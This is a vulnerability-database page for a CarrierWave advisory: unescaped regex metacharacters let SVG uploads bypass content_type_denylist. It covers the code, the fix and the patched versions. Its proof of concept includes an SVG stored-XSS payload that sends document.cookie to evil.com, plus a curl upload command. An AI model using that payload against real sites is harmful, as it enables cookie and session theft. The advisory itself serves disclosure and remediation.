Loading...
Skip to main content

CVE-2026-44587 — Vulnerability in carrierwave — CVE Details

MEDIUM

CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters

Published May 27, 2026Updated July 8, 2026Source: osv

Summary

### Summary CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. **Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else. ### Details In `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring: ```ruby def denylisted_content_type?(denylist, content_type) Array(denylist).any? { |item| content_type =~ /#{item}/ } end The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +. This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor: rubydef allowlisted_content_type?(allowlist, content_type) Array(allowlist).any? do |item| item = Regexp.quote(item) if item.class != Regexp content_type =~ /\A#{item}/ end end ``` Other affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters. Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation: ``` rubydef denylisted_content_type?(denylist, content_type) Array(denylist).any? do |item| item = Regexp.quote(item) if item.class != Regexp content_type =~ /\A#{item}/ end end ``` ### PoC ``` app.rb require "sinatra" require "carrierwave" require "fileutils" FileUtils.mkdir_p("uploads/files") CarrierWave.configure do |config| config.root = File.expand_path("uploads") config.store_dir = "files" end class VaultUploader < CarrierWave::Uploader::Base storage :file def store_dir = "files" def content_type_denylist = %w[image/svg+xml] end post "/upload" do content_type :json san = CarrierWave::SanitizedFile.new( tempfile: params[:file][:tempfile], filename: params[:file][:filename], content_type: params[:file][:type] ) uploader = VaultUploader.new begin uploader.store!(san) { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json rescue CarrierWave::IntegrityError => e { result: "blocked", message: e.message }.to_json end end ``` ``` bundle exec ruby app.rb & echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg curl -X POST http://localhost:4567/upload \ -F "file=@xss.svg;type=image/svg+xml" ``` Expected response (denylist working): ``` json{ "result": "blocked", "message": "..." } ``` Actual response: ``` json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." } ``` ### Impact Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Advisory Timeline

  • First published May 27, 2026 (138 days ago).
  • Last revised July 8, 2026 — 43 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Bundler
Update carrierwave to 3.1.3 or later
gem install carrierwave -v 3.1.3
Bundler
Update carrierwave to 2.2.7 or later
gem install carrierwave -v 2.2.7

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: rubygems (1).

PackageEcosystemAffectedFixed In
carrierwave
rubygems
3.0.0, 3.0.0.beta, 3.0.0.rc, 3.0.1 (+11 more)3.1.3
carrierwave
rubygems
0.1, 0.10.0, 0.11.0, 0.11.1 (+67 more)2.2.7

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-116
    Improper Encoding or EscapingMITRE
  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 4.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Frequently Asked Questions

What is CVE-2026-44587?
CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 4.7/10).
How do I check if my project is affected by CVE-2026-44587?
CVE-2026-44587 affects carrierwave. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44587 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
4.7

Exploitation requires specific conditions or has limited impact. Remediate within weeks.

Also Known As

GHSA-7g26-2qgj-chfg

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies